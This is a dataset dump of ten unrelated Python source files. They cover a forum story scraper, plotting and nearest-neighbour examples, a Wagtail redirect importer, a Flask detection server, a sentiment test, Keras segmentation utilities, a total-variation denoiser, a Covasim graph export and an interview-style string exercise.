+{"seq_id":"481966125","text":"#!/usr/bin/python\n\nimport re\nfrom bs4 import BeautifulSoup\n\n\ndef match(url):\n    return re.match(r'^https?://forums.spacebattles.com/threads/.*\\d+/?.*', url)\n\ndef extract(url, fetch):\n    page = fetch(url)\n    soup = BeautifulSoup(page, 'html5lib')\n\n    base = soup.head.base.get('href')\n\n    story = {}\n    story['title'] = str(soup.find('h1').string)\n    story['author'] = str(soup.find('p', id='pageDescription').find('a', class_='username').string)\n\n    threadmarks_link = soup.find(class_=\"threadmarksTrigger\")\n    if not threadmarks_link:\n        print(\"No threadmarks\")\n        return\n\n    page = fetch(base + threadmarks_link.get('href'))\n    soup = BeautifulSoup(page, 'html5lib')\n\n    marks = soup.find_all('li', class_='primaryContent memberListItem')\n    if not marks:\n        print(\"No marks on threadmarks page\")\n        return\n\n    chapters = []\n    for mark in marks:\n        href = mark.a.get('href')\n        print(\"Extracting chapter from\", href)\n        match = re.match(r'posts/(\\d+)/?', href)\n        if not match:\n            print(\"Unparseable threadmark href\", href)\n            return\n        postid = match.group(1)\n        chapter_page = fetch(base + href)\n        chapter_soup = BeautifulSoup(chapter_page, 'html5lib')\n\n        post = chapter_soup.find('li', id='post-'+postid).find('blockquote', class_='messageText')\n        post.name = 'div'\n\n        chapters.append((str(mark.a.string), post.prettify()))\n\n    story['chapters'] = chapters\n\n    return story\n","sub_path":"sites/spacebattles.py","file_name":"spacebattles.py","file_ext":"py","file_size_in_byte":1489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"310307340","text":"import pandas as pd\nimport numpy as np\nimport plotly as py\nimport plotly.graph_objs as go\n\n\n\n# Import data from csv\ndf = pd.read_csv('/home/eh/Documents/Base de Programmation/Rapport Tri Rapide/QuickSort_*10.csv')\ndf.head()\n\ntrace1 = go.Scatter(\n                    x=df['n'], y=df['time'], # Data\n                    mode='lines', name='QS_AVG' # Additional options\n                   )\n\ntrace2 = go.Scatter(\n                    x=df['n'], y=df['time(wc)'], # Data\n                    mode='lines', name='QS_WC' # Additional options\n                   )\n\n\nlayout = go.Layout(title='Quick Sort Facteur 10',\n                   plot_bgcolor='rgb(230, 230,230)')\n\nfig = go.Figure(data=[trace1, trace2], layout=layout)\n\n# Plot data in the notebook\n\npy.offline.plot(fig, filename='basic-line')\n","sub_path":"complexite/qs_plotly.py","file_name":"qs_plotly.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"249745631","text":"#import logging\n#logging.basicConfig(level=logging.DEBUG)\nimport nmslib\nimport numpy\n\n# create a random matrix to index\ndata = numpy.random.randn(10000, 100).astype(numpy.float32)\n\n# initialize a new index, using a HNSW index on Cosine Similarity\nindex = nmslib.init(method='hnsw', space='kldivfast')\nindex.addDataPointBatch(data)\nindex.createIndex({'post': 2}, print_progress=True)\n\n# query for the nearest neighbours of the first datapoint\nids, distances = index.knnQuery(data[0], k=10)\n\n# get all nearest neighbours for all the datapoint\n# using a pool of 4 threads to compute\nneighbours = index.knnQueryBatch(data, k=5, num_threads=4)\n","sub_path":"KNN-Tests/GivenExamples/nmslib-givenExample.py","file_name":"nmslib-givenExample.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"634182227","text":"import os\n\nimport tablib\nfrom django.core.management.base import BaseCommand\nfrom wagtail.contrib.redirects.forms import RedirectForm\nfrom wagtail.core.models import Site\n\n\nclass Command(BaseCommand):\n    help = \"Imports redirects from .csv, .xls, .xlsx\"\n\n    def add_arguments(self, parser):\n        parser.add_argument(\n            \"--src\", help=\"Path to file\", type=str, required=True,\n        )\n        parser.add_argument(\n            \"--site_id\", help=\"The site where redirects will be associated\", type=int,\n        )\n        parser.add_argument(\n            \"--permanent\",\n            help=\"Save redirects as permanent redirects\",\n            type=bool,\n            default=True,\n        )\n        parser.add_argument(\n            \"--from_index\",\n            help=\"The column where to read from link\",\n            default=0,\n            type=int,\n        )\n        parser.add_argument(\n            \"--to_index\", help=\"The column where to read to link\", default=1, type=int,\n        )\n        parser.add_argument(\n            \"--dry_run\",\n            default=False,\n            help=\"Run only in test mode, will not create redirects\",\n            type=bool,\n        )\n        parser.add_argument(\n            \"--ask\", help=\"Ask before creating\", default=False, type=bool,\n        )\n        parser.add_argument(\n            \"--format\",\n            help=\"Source file format (.csv, .xls etc)\",\n            default=\",\",\n            type=str,\n        )\n\n    def handle(self, *args, **options):\n        src = options[\"src\"]\n        from_index = options.pop(\"from_index\")\n        to_index = options.pop(\"to_index\")\n        site_id = options.pop(\"site_id\", None)\n        permament = options.pop(\"permanent\")\n        dry_run = options.pop(\"dry_run\")\n        format_ = options.pop(\"format\", None)\n        ask = options.pop(\"ask\")\n\n        errors = []\n        successes = 0\n        skipped = 0\n        total = 0\n        site = None\n\n        if site_id:\n            site = Site.objects.get(id=site_id)\n\n        if not os.path.exists(src):\n            raise Exception(\"Missing file '{0}'\".format(src))\n\n        if not os.path.getsize(src) > 0:\n            raise Exception(\"File '{0}' is empty\".format(src))\n\n        _, extension = os.path.splitext(src)\n\n        if extension in [\".xls\", \".xlsx\"]:\n            mode = \"rb\"\n        else:\n            mode = \"r\"\n\n        if not format_:\n            format_ = extension\n\n        with open(src, mode) as fh:\n            imported_data = tablib.Dataset().load(fh.read(), format=format_)\n\n            sample_data = tablib.Dataset(\n                *imported_data[: min(len(imported_data), 4)],\n                headers=imported_data.headers\n            )\n\n            try:\n                self.stdout.write(\"Sample data:\")\n                self.stdout.write(str(sample_data))\n            except:\n                self.stdout.write(\"Warning: Cannot display sample data\")\n\n            self.stdout.write(\"--------------\")\n\n            if site:\n                self.stdout.write(\"Using site: {}\".format(site.hostname))\n\n            self.stdout.write(\"Importing redirects:\")\n            for row in imported_data:\n                total += 1\n\n                from_link = row[from_index]\n                to_link = row[to_index]\n\n                data = {\n                    \"old_path\": from_link,\n                    \"redirect_link\": to_link,\n                    \"is_permanent\": permament,\n                }\n\n                if site:\n                    data[\"site\"] = site.pk\n\n                form = RedirectForm(data)\n                if not form.is_valid():\n                    error = form.errors.as_text().replace(\"\\n\", \"\")\n                    self.stdout.write(\n                        \"{}. Error: {} -> {} (Reason: {})\".format(\n                            total, from_link, to_link, error,\n                        )\n                    )\n                    errors.append(error)\n                    continue\n\n                if ask:\n                    answer = input(\n                        \"{}. Found {} -> {} Create? Y/n: \".format(\n                            total, from_link, to_link,\n                        )\n                    )\n\n                    if answer != \"Y\":\n                        skipped += 1\n                        continue\n                else:\n                    self.stdout.write(\"{}. {} -> {}\".format(total, from_link, to_link,))\n\n                if dry_run:\n                    successes += 1\n                    continue\n\n                form.save()\n                successes += 1\n\n        self.stdout.write(\"\\n\")\n        self.stdout.write(\"Found: {}\".format(total))\n        self.stdout.write(\"Created: {}\".format(successes))\n        self.stdout.write(\"Skipped : {}\".format(skipped))\n        self.stdout.write(\"Errors: {}\".format(len(errors)))\n\n    @staticmethod\n    def build_header(header):\n        header = map(lambda x: x or \"\", header)\n        header_body = \" | \".join(header)\n        header_body = \"| {} |\".format(header_body)\n\n        delimiter = \"-\" * len(header_body)\n\n        out = \"{}\\n{}\\n{}\".format(delimiter, header_body, delimiter)\n        return out\n","sub_path":"wagtail_redirect_importer/management/commands/import_redirects.py","file_name":"import_redirects.py","file_ext":"py","file_size_in_byte":5126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"515275718","text":"import _init_paths\n\nimport cv2\nimport numpy as np\n\nfrom flask import Flask, request, jsonify\nfrom opts import opts\nfrom detectors.pdet_no_disp import PersonDetector\n\n\nopt = opts().init(['pdet'])\nopt.task = 'pdet'\nopt.load_model = 'exp/pdet/wider2019pd_raw_608_1216/dla34_ap567.pth'\ndetector = PersonDetector(opt)\n\napp = Flask('detector')\n\n@app.route('/det', methods=['POST'])\ndef predict():\n    f = request.files['img']\n    img = cv2.imdecode(np.fromstring(f.read(), np.uint8), cv2.IMREAD_COLOR)\n    ret = detector.run(img)\n    boxes = []\n    for box in ret['results'][1]:\n        if box[-1] > .3:    # conf thresh\n            boxes += [box.tolist()]\n    return jsonify(boxes)\n\n\nif __name__ == '__main__':\n    app.run(host=\"0.0.0.0\", debug=True, port=6666)","sub_path":"src/tools/worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"318203272","text":"from unittest import TestCase\n\nimport polyglot.text as ptx\n\nfrom sentiment.sentiment import SentimentAnalyser\n\n\nclass TestSentimentAnalyser(TestCase):\n    def setUp(self):\n        self.analyser = SentimentAnalyser()\n\n    def test_get_sentiment(self):\n        bad = \"Навальный предатель родины! Я ненавижу всех либерастов!\"\n        good = \"Я люблю Путина! Он самый лучший президент в мире, а буду за него молиться!\"\n\n        wtf = \"Сборище даунов и придурков \" \\\n              \"все ваши потуги не имеют никакого смысла, кроме развода тех же даунов и придурков \" \\\n              \"уголовников не регистрируют!\"\n\n        bad_estimate = self.analyser.get_sentiment(bad)\n        good_estimate = self.analyser.get_sentiment(good)\n        wtf_estimate = self.analyser.get_sentiment(wtf)\n\n        print(bad_estimate)\n        print(good_estimate)\n        print(wtf_estimate)\n\n        self.assertTrue(bad_estimate < 0)\n        self.assertTrue(good_estimate > 0)\n","sub_path":"sentiment/tests/test_sentimentAnalyser.py","file_name":"test_sentimentAnalyser.py","file_ext":"py","file_size_in_byte":1171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"347535088","text":"\"\"\"\n\nA collection of classes and functions for training fully-convolutional\nCNNs for semantic segmentation. Includes a custom generator class for\nperforming model.fit_genertor() method in Keras. This is specifically used\nfor segementation ground truth labels which requires sample weights\nto be used. (See https://github.com/keras-team/keras/issues/3653)\n\nAuthor: Simon Thomas\nEmail: simon.thomas@uq.edu.au\n\nStart Date: 24/10/18\nLast Update: 25/10/18\n\n\"\"\"\n\nimport numpy as np\nfrom skimage import io\nimport os\nfrom skimage.transform import resize\nfrom sklearn.utils.class_weight import compute_class_weight\nimport matplotlib.colors as cols\n\n\nclass Palette(object):\n    \"\"\"\n    A color pallete which is essentially a channel\n    colour LUT.\n    \"\"\"\n    def __init__(self, ordered_list):\n        \"\"\"\n        Takes and order list of colours and stores in dictionary\n        format.\n\n        Input:\n            ordered_list - list of rgb tuples in class order\n\n        Output:\n            self[index] - rgb tuple associated with index/class\n        \"\"\"\n\n        self.colors = dict((i, color) for (i, color) in enumerate(ordered_list))\n\n    def __getitem__(self, arg):\n        \"\"\"\n        Returns item with input key, i.e. channel\n        \"\"\"\n        return self.colors[arg]\n\n\n    def __str__(self):\n        \"\"\"\n        Print representation\n        \"\"\"\n        return \"Channel Color Palette:\\n\" + str(self.colors)\n\n    def __repr__(self):\n        return self.__str__()\n\n    def __len__(self):\n        return len(self.colors.keys())\n\n\n\nclass SegmentationGen(object):\n    \"\"\"\n    A generator that returns X, y & sampe_weight data in designated batch sizes,\n    specifically for segmentation problems. It converts y images 2D arrays\n    to work with sample_weights which are calculated on the fly for each batch.\n\n    The output predictions are in shape (batch_size, dim*dim*, num_classes)\n    and therefore need to be reshaped inorder to be interpreted / visualised.\n\n    Validation needs to be done separately due to implementation differences\n    with keras, but remains fairly straight forward.\n\n    Training is very sensitive to batchsize and traininging rate.\n\n    See again:  https://github.com/keras-team/keras/issues/3653\n\n    Example:\n\n        >>> colours = [(0,0,255),(0,255,0),(255,0,0)]\n        >>> palette = Palette(colours)\n        >>> batch_size = 10\n        >>> dim = 128\n        >>> train_gen = SegmentationGen(batch_size, X_dir, y_dir, palette,\n        ...                        x_dim=dim, y_dim=dim)\n        >>> # Compile mode - include sampe_weights_mode=\"temporal\"\n        ... model.compile(  optimizer=SGD(lr=0.001),\n        ...                 loss=\"categorical_crossentropy\",\n        ...                 sample_weight_mode=\"temporal\",\n        ...                 metrics=[\"accuracy\"])\n        >>> # Train\n        ... history = model.fit_generator(\n        ...                 generator = train_gen,\n        ...                 steps_per_epoch = train_gen.n // batch_size)\n        >>> # Evaluate\n        ... loss, acc = model.evaluate_generator(\n        ...                 generator = val_gen,\n        ...                 steps = 2)\n\n\n    Input:\n        batch_size - number of images in a batch\n        X_dir - full path directory of training images\n        y_dir - full path directory of training labels\n        palette - color palette object where each index (range(n-classes))\n                is the class colour from the segmented ground truth. Get be\n                obtained from the LUT of come standard segmentaiton datasets.\n        dim - batches require images to be stacked so for\n                batch_size > 1 image_size is required.\n        suffix - the image type in the raw images. Default is \".png\"\n        weight_mod -  a dictionary to modify certain weights by index\n                      i.e. weight_mod = {0 : 1.02} increases weight 0 by 2%.\n                      Default is None. \n\n    Output:\n        using the global next() function or internal next() function the class\n        returns X_train, y_train numpy arrays:\n            X_train.shape = (batch_size, image_size, dim, 3)\n            y_train.shape = (batch_size, image_size, dim, num_classes)\n    \"\"\"\n    def __init__(self, batch_size, X_dir, y_dir, palette, x_dim, y_dim,\n                 suffix=\".png\", weight_mod = None):\n        self.batch_size = batch_size\n        self.X_dir = X_dir\n        self.y_dir = y_dir\n        self.files = os.listdir(X_dir)\n        self.palette = palette\n        self.x_dim = x_dim\n        self.y_dim = y_dim\n        self.suffix = suffix\n        self.weight_mod = weight_mod\n        self.num_classes = len(palette)\n        self.n = len(self.files)\n        self.cur = 0\n        self.order = list(range(self.n))\n        np.random.shuffle(self.order)\n\n\n    def getClassMask(self, rgb, im):\n        \"\"\"\n        Takes an rgb tuple and returns a binary mask of size\n        im.shape[0] x im.shape[1] indicated where each color\n        is present.\n\n        Input:\n            rgb - tuple of (r, g, b)\n            im - segmentation ground truth image\n\n        Output:\n            mask - binary mask\n        \"\"\"\n        # Colour mask\n        if len(rgb) == 3:\n            r, g, b = rgb\n            r_mask = im[:,:, 0] == r\n            g_mask = im[:,:, 1] == g\n            b_mask = im[:,:, 2] == b\n            mask = r_mask & g_mask & b_mask\n            return mask\n        # 8-bit mask\n        return im[:,:] == rgb\n\n\n    def createBatches(self, positions):\n        \"\"\"\n        Creates X_train and y_train batches from the given\n        positions i.e. files in the directory\n\n        Input:\n            positions - list of integers representing files\n\n        Output:\n            X_train, y_train - batches\n        \"\"\"\n        # Store images in batch\n        X_batch = []\n        y_batch = []\n\n        # Loop through current batch\n        for pos in positions:\n            # Get image name\n            fname = self.files[pos][:-4]\n\n            # load X-image\n            im = io.imread(os.path.join(self.X_dir, fname + self.suffix))\n            im = resize(im, (self.x_dim, self.x_dim))\n            X_batch.append(im)\n\n            # Load y-image ----------------- ||\n            im = io.imread(os.path.join(self.y_dir, fname + \".png\"))\n            im = resize(im, (self.y_dim, self.y_dim))\n            # Convert to 3D ground truth\n            y = np.zeros((im.shape[0], im.shape[1], self.num_classes),\n                                    dtype=np.float32)\n            # Loop through colors in palette and assign to new array\n            for i in range(self.num_classes):\n                rgb = self.palette[i]\n                mask = self.getClassMask(rgb, im)\n                y[mask, i] = 1.\n\n            y_batch.append(y)\n\n        # Combine images into batches\n        X_train = np.stack(X_batch, axis=0).astype(np.float32) / 255;\n        y_train = np.stack(y_batch, axis=0)\n\n        # Calculate sample weights\n        weights = self._calculateWeights(y_train)\n        # Modify weights\n        if self.weight_mod:\n            for i in self.weight_mod:\n                weights[i] *= self.weight_mod[i]\n\n        # Take weight for each correct position\n        sample_weights = np.take(weights, np.argmax(y_train, axis=-1))\n\n        # Reshape to suit keras\n        sample_weights = sample_weights.reshape(y_train.shape[0], self.y_dim*self.y_dim)\n        y_train = y_train.reshape(y_train.shape[0], self.y_dim*self.y_dim,\n                                  self.num_classes)\n\n        return (X_train, y_train, sample_weights)\n\n    def _calculateWeights(self, y_train):\n        \"\"\"\n        Calculates the balanced weights of all the classes\n        in the batch.\n\n        Input:\n            y_train - (dim, dim,num_classes) ground truth\n\n        Ouput:\n            weights - a list of the weights for each class\n        \"\"\"\n        class_counts = []\n        # loop through each class\n        for i in range(self.num_classes):\n            batch_count = 0\n            # Sum up each class count in each batch image\n            for b in range(y_train.shape[0]):\n                batch_count += np.sum(y_train[b][:,:,i])\n            class_counts.append(batch_count)\n\n        # create Counts\n        y = []\n        for i in range(self.num_classes):\n            # Adjusts for absense\n            if class_counts[i] == 0:\n                class_counts[i] = 1\n            y.extend([i]*int(class_counts[i]))\n        # Calcualte weights\n        weights = compute_class_weight(\"balanced\", list(range(self.num_classes)), y)\n\n        return weights\n\n    def __iter__(self):\n        return self\n\n\n    def __next__(self):\n        return self.next()\n\n    def next(self):\n        \"\"\"\n        Returns the next X_train and y_train arrays.\n        \"\"\"\n        # Most batches will be equal to batch_size\n        if self.cur < (self.n - self.batch_size):\n            # Get positions of files in batch\n            positions = self.order[self.cur:self.cur + self.batch_size]\n\n            self.cur += self.batch_size\n\n            # create Batches\n            X_train, y_train, sample_weights = self.createBatches(positions)\n\n            return X_train, y_train, sample_weights\n\n        # Final batch is smaller than batch_size\n        if self.cur < self.n:\n            positions = self.order[self.cur::]\n\n            # Step is maximum - next will return None\n            self.cur = self.n\n\n            # Create Batches\n            X_train, y_train, sample_weights = self.createBatches(positions)\n\n            return X_train, y_train, sample_weights\n\n        else:\n            # reshuffle order for next batch\n            np.random.shuffle(self.order)\n\n            # Reset cur\n            self.cur = 0\n\n            # Signal end of epoch\n            return None\n\n\ndef predictImage(model, image):\n    \"\"\"\n    Simplifies image prediction for segmentation models. Automatically\n    reshapes output so it can be visualised.\n\n    Input:\n        model - CNN keras mode\n        image - rgb image of shape (dim, dim, 3) where dim == model.input_shape\n\n    Output:\n        preds - probability heatmap of shape (dim, dim, num_classes)\n        class_img - argmax of preds of shape (dim, dim, 1)\n    \"\"\"\n    # Reshape\n    x = image[np.newaxis, ::]\n\n    # Standardise range\n    x = x.astype(np.float32) / 255.\n\n    # Prediction\n    preds = model.predict(x)[0].reshape(image.shape[0],\n                                           image.shape[0],\n                                           model.layers[-1].output_shape[-1])\n    # class_img\n    class_img = np.argmax(preds, axis=-1)\n\n    return (preds, class_img)\n\n\ndef getColorMap(colors):\n    \"\"\"\n    Returns a matplotlib color map of the list of RGB values\n\n    Input:\n        colors - a list of RGB colors\n\n    Output:\n        cmap -  a matplotlib color map object\n    \"\"\"\n    # Normalise RGBs\n    norm_colors = []\n    for color in colors:\n        norm_colors.append([val / 255. for val in color])\n    # create color map\n    cmap = cols.ListedColormap(norm_colors)\n\n    return cmap\n\n# -------------------------- #\n# Build a demo model to test #\n# -------------------------- #\ndef demoModel(dim, num_classes):\n    \"\"\"\n    Builds a simple encoder decoder network - don't be too impresssed!\n    \"\"\"\n    import numpy as np\n    from keras.models import Sequential, Model\n    from keras.layers import Input\n    from keras.layers import Conv2D, ZeroPadding2D, MaxPooling2D, Conv2DTranspose, Cropping2D\n    from keras.layers import concatenate, UpSampling2D, Reshape\n    import keras.backend as K\n\n    # Build model\n    input_image = Input(shape=(dim, dim, 3))\n\n    conv = Conv2D(24, (3, 3), activation='relu', padding='same')(input_image)\n\n    pool = MaxPooling2D((2, 2), strides=(2, 2), name=\"pool\")(conv)\n\n    conv1x1 = Conv2D(24, (1, 1), padding='same', activation='relu')(pool)\n\n    up = UpSampling2D(size=(2,2))(conv1x1)\n    up_conv =  Conv2D(24, 2, activation = 'relu', padding = 'same')(up)\n    merge = concatenate([conv,up_conv], axis = 3)\n\n    conv = Conv2D(12, 3, activation = 'relu', padding = 'same')(merge)\n\n    activation = Conv2D(num_classes, (1, 1), activation = \"softmax\")(conv)\n\n    # need to reshape for training\n    output = Reshape((dim*dim, 3))(activation)\n\n    model = Model(inputs=[input_image], outputs=output)\n\n    model.summary()\n\n    return model\n\n\n# ---- #\n# DEMO #\n# ---- #\nif __name__ == \"__main__\":\n\n    # SET RANDOM SEED ---- |\n    from numpy.random import seed\n    seed(1)\n    from tensorflow import set_random_seed\n    set_random_seed(2)\n    # -------------------- |\n\n    from keras.optimizers import SGD\n    import tensorflow as tf\n    import matplotlib.pyplot as plt\n\n\n    #   Directory Setup\n    base_dir = \"./Demo_Images/\"\n    train_dir = os.path.join(base_dir, \"train\")\n    test_dir = os.path.join(base_dir, \"test\")\n    X_dir = os.path.join(train_dir, \"img\")\n    y_dir = os.path.join(train_dir, \"tag\")\n    X_val_dir = os.path.join(test_dir, \"img\")\n    y_val_dir = os.path.join(test_dir, \"tag\")\n\n    # Batch Size\n    batch_size = 10\n\n    # Color Palette\n    colours = [(17,16,16),(0,255,0),(255,0,0)]\n    palette = Palette(colours)\n\n    # Model parameters\n    num_classes = len(palette)\n    dim = 128\n\n    # Create Generators \n    train_gen = SegmentationGen(batch_size, X_dir, y_dir, palette,\n                                x_dim=dim, y_dim=dim, suffix=\".jpg\")\n    val_gen = SegmentationGen(batch_size, X_val_dir, y_val_dir,\n                              palette,x_dim=dim, y_dim=dim, suffix=\".jpg\")\n\n    # build demo model\n    model = demoModel(dim, num_classes)\n\n    # Load best model from before\n    model.load_weights(\"best_model.h5\")\n\n\n    # Compile model - include sampe_weights_mode=\"temporal\"\n    model.compile(optimizer=SGD(\n            lr=0.001),\n            loss=\"categorical_crossentropy\",\n            sample_weight_mode=\"temporal\",\n            metrics=[\"accuracy\"])\n\n    # Train\n    history = model.fit_generator(\n        epochs = 2,\n        generator = train_gen,\n        steps_per_epoch = train_gen.n // batch_size)\n\n    # Evaluate\n    loss, acc = model.evaluate_generator(\n        generator = val_gen,\n        steps = 2)\n\n    print(\"Val Loss:\", loss, \", Val Acc:\", acc)\n\n\n    # Predict raw image\n    im = io.imread(os.path.join(X_dir, \"1.jpg\"))\n    im = resize(im, (dim, dim))\n    preds, class_img = predictImage(model, im)\n\n    plt.imshow(class_img)\n    plt.show()\n\n\n\n\n\n","sub_path":"seg_utils.py","file_name":"seg_utils.py","file_ext":"py","file_size_in_byte":14342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"482882784","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nFast Total Variation Denoising using Iterative Clipping Algorithm \r\nnested within Parallel Dykstra-like Proximal Algorithm.\r\n\r\nMinimizing the cost function: F(X)= 1/2||Y-X||_2^2 + Ld||DdX||_1 + Lh||DhX||_1 + Lw||DwX||_1 \r\n\r\nINPUT\r\n  y1 - noisy signal \r\n  Ld - regularization parameter for the first dimension \r\n  Lh - regularization parameter for the second dimension \r\n  Lw - regularization parameter for the third dimension \r\n  NitTV - number of iterations to run the Iterative Clipping Algorithm\r\n  NitD - number of iterations to run the Parallel Dykstra-like Proximal Algorithm\r\n\r\nOUTPUT\r\n  Xdn - denoised signal\r\n\r\nReference\r\n'Fast Speckle Noise Reduction For OCT  Imaging', Michael Shamouilian, NYU Dissertation, 2021.\r\n\r\n\r\n\"\"\"\r\n\r\n\r\nimport torch\r\n#import numpy as np\r\n\r\ndef FastTV_3D_CPU(y1,Ld,Lh,Lw,NitTV,NitD):\r\n    \r\n    [n,c,d,h,w] = y1.shape\r\n    \r\n    y2 = y1\r\n    y3 = y1\r\n    \r\n    # Create filters oriented in each of the 3 directions\r\n    # Filters created directly on the GPU\r\n    h1a = torch.zeros((1,1,1,2,1)).float()\r\n    h1a[0,0,0,0,0] = 1\r\n    h1a[0,0,0,1,0] = -1\r\n    h2a = torch.zeros((1,1,1,3,1)).float()\r\n    h2a[0,0,0,0,0] = .25\r\n    h2a[0,0,0,1,0] = .5\r\n    h2a[0,0,0,2,0] = .25\r\n    \r\n    h1b = torch.zeros((1,1,2,1,1)).float()\r\n    h1b[0,0,0,0,0] = 1\r\n    h1b[0,0,1,0,0] = -1\r\n    h2b = torch.zeros((1,1,3,1,1)).float()\r\n    h2b[0,0,0,0,0] = .25\r\n    h2b[0,0,1,0,0] = .5\r\n    h2b[0,0,2,0,0] = .25\r\n    \r\n    h1c = torch.zeros((1,1,1,1,2)).float()\r\n    h1c[0,0,0,0,0] = 1\r\n    h1c[0,0,0,0,1] = -1\r\n    h2c = torch.zeros((1,1,1,1,3)).float()\r\n    h2c[0,0,0,0,0] = .25\r\n    h2c[0,0,0,0,1] = .5\r\n    h2c[0,0,0,0,2] = .25\r\n    \r\n    # Outer loop - Parallel Dykstra-like Proximal Algorithm\r\n    for i in range(NitD):\r\n        \r\n        # Iterative Clipping Algorithm in the h-direction\r\n        z = torch.zeros((n,c,d,h-1,w)).float()\r\n        bias = torch.nn.functional.conv3d(y1,h1a)/4\r\n        for i in range(NitTV):\r\n            z = torch.clamp((torch.nn.functional.conv3d(z,h2a,padding=(0,1,0))+bias), min=(-1*Lh), max=Lh)\r\n        p1 = y1-torch.nn.functional.conv3d(z,-1*h1a,padding=(0,1,0))\r\n        #torch.cuda.empty_cache()\r\n        \r\n        # Iterative Clipping Algorithm in the d-direction\r\n        z = torch.zeros((n,c,d-1,h,w)).float()\r\n        bias = torch.nn.functional.conv3d(y2,h1b)/4\r\n        for i in range(NitTV):\r\n            z = torch.clamp((torch.nn.functional.conv3d(z,h2b,padding=(1,0,0))+bias), min=(-1*Ld), max=Ld)\r\n        p2 = y2-torch.nn.functional.conv3d(z,-1*h1b,padding=(1,0,0))\r\n        #torch.cuda.empty_cache()\r\n        \r\n        # Iterative Clipping Algorithm in the w-direction\r\n        z = torch.zeros((n,c,d,h,w-1)).float()\r\n        bias = torch.nn.functional.conv3d(y3,h1c)/4\r\n        for i in range(NitTV):\r\n            z = torch.clamp((torch.nn.functional.conv3d(z,h2c,padding=(0,0,1))+bias), min=(-1*Lw), max=Lw)\r\n        p3 = y3-torch.nn.functional.conv3d(z,-1*h1c,padding=(0,0,1))\r\n        #torch.cuda.empty_cache()\r\n        \r\n        # Each direction weighted equally in the Dykstra Algorithm\r\n        Xdn = (p1+p2+p3)/3\r\n        \r\n        # Update output of Dykstra Algorithm\r\n        y1 = Xdn+y1-p1\r\n        y2 = Xdn+y2-p2\r\n        y3 = Xdn+y3-p3\r\n        \r\n    return Xdn","sub_path":"Python/FastTV_3D_CPU.py","file_name":"FastTV_3D_CPU.py","file_ext":"py","file_size_in_byte":3275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"50036339","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Feb 27 14:03:01 2021\r\n\r\n@author: reetb\r\n\"\"\"\r\n\r\nimport covasim as cv\r\nimport networkx as nx\r\n\r\ndef return_Graph(sim):\r\n\r\n    G = nx.Graph()\r\n    G.add_nodes_from(sim.people.uid)\r\n\r\n    layers = ['h', 's', 'c', 'w']\r\n\r\n    maxWeight = 0\r\n\r\n    for layer in layers:\r\n        contacts = sim.people.contacts[layer]\r\n\r\n        for i in range(len(contacts)):\r\n            p1 = contacts['p1'][i]\r\n            p2 = contacts['p2'][i]\r\n\r\n            if (G.has_edge(p1,p2)):\r\n                G.add_edge(p1, p2, weight = G[p1][p2]['weight'] + sim.pars['beta_layer'][layer])\r\n                if (maxWeight < G[p1][p2]['weight'] + sim.pars['beta_layer'][layer]):\r\n                \tmaxWeight = G[p1][p2]['weight'] + sim.pars['beta_layer'][layer]\r\n            else:\r\n                G.add_edge(p1, p2, weight = sim.pars['beta_layer'][layer])\r\n                if (maxWeight < sim.pars['beta_layer'][layer]):\r\n                \tmaxWeight = sim.pars['beta_layer'][layer]\r\n\r\n    return G, maxWeight\r\n\r\nsim = cv.load('Japan100kV0.sim')\r\n\r\nG, maxWeight = return_Graph(sim)\r\nfor p1,p2 in G.edges():\r\n\tG[p1][p2]['weight'] = G[p1][p2]['weight'] / maxWeight\r\n\r\n# G = nx.convert_node_labels_to_integers(G, first_label = 1)\r\nnx.write_edgelist(G, 'Japan_100k_Community_Unweighted.edgelist', data = False)\r\nnx.write_weighted_edgelist(G, 'Japan_100k_Community.edgelist')","sub_path":"Population_Dataset/OldSetup/CommunityLayerWeighted.py","file_name":"CommunityLayerWeighted.py","file_ext":"py","file_size_in_byte":1382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"480968472","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Sep 29 15:06:36 2018\n\n@author: owen\n\"\"\"\n\n# Twitter OA\n\ndef minimalOperations(words):\n    def findMin(word):\n        n = len(word)\n        replace = 0\n        i = 0\n        while i < n:\n            cnt = 1\n            while i < n - 1 and word[i] == word[i + 1]:\n                cnt += 1\n                i += 1\n            replace += cnt // 2\n            i += 1\n            \n        return replace\n    \n    \n    res = []\n    for word in words:\n        res.append(findMin(word))\n        \n    return res\n    \n    \nif __name__==\"__main__\":\n    print(minimalOperations(['aab']))\n    print(minimalOperations(['ab','aab','abb','abab','abaaaba']))","sub_path":"No pairs allowed.py","file_name":"No pairs allowed.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
